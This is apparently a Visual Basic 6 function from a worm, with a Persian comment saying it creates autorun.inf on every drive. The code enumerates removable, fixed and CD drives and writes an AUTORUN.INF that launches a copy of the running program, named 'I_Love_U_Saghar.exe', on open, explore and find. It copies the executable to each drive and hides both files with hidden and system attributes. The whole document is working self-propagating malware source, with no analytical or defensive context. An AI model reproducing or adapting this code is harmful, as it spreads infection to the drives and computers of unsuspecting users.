Public Function Saghar_Back()
' sakht autorun.inf dar tamame drivha
On Error Resume Next
Static Drvs(26)
Set Fso = CreateObject("Scripting.FileSystemObject")
If CStr(Drvs(0)) = "" Then
a = 0
For Each Dr In Fso.Drives
If Dr.DriveType = 5 Or Dr.DriveType = 2 Or Dr.DriveType = 3 Then
Drvs(a) = Dr
a = a + 1
End If
Next
End If
For Each Drv In Drvs
If Fso.fileExists(Drv & "\AUTORUN.INF") = True And Fso.fileExists(Drv_
& "\I_Love_U_Saghar.exe") = True Then GoTo nx
If Fso.getDrive(Drv).isReady = True Then
aut = "[AUTORUN]" & vbCrLf_
& "shell\open\command=I_Love_U_Saghar.exe" & vbCrLf_
& "shell\explore\command=I_Love_U_Saghar.exe" & vbCrLf & "shell\find\command=I_Love_U_Saghar.exe"
If Fso.fileExists(Drv & "\AUTORUN.INF") = True Then
SetAttr Drv & "\AUTORUN.INF", vbArchive
Fso.DeleteFile Drv & "\AUTORUN.INF", True
End If
If Fso.fileExists(Drv & "\I_Love_U_Saghar.exe") = True Then
SetAttr Drv & "\I_Love_U_Saghar.exe", vbArchive
Fso.DeleteFile Drv & "\I_Love_U_Saghar.exe", True
End If
Fso.createTextFile(Drv & "\AUTORUN.INF").write aut
MyPath = App.Path & "\" & App.EXEName & ".exe"
Fso.CopyFile MyPath, Drv & "\I_Love_U_Saghar.exe", True
SetAttr Drv & "\I_Love_U_Saghar.exe", vbHidden + vbSystem
SetAttr Drv & "\AUTORUN.INF", vbHidden + vbSystem
End If
nx:
DoEvents
Next
End Function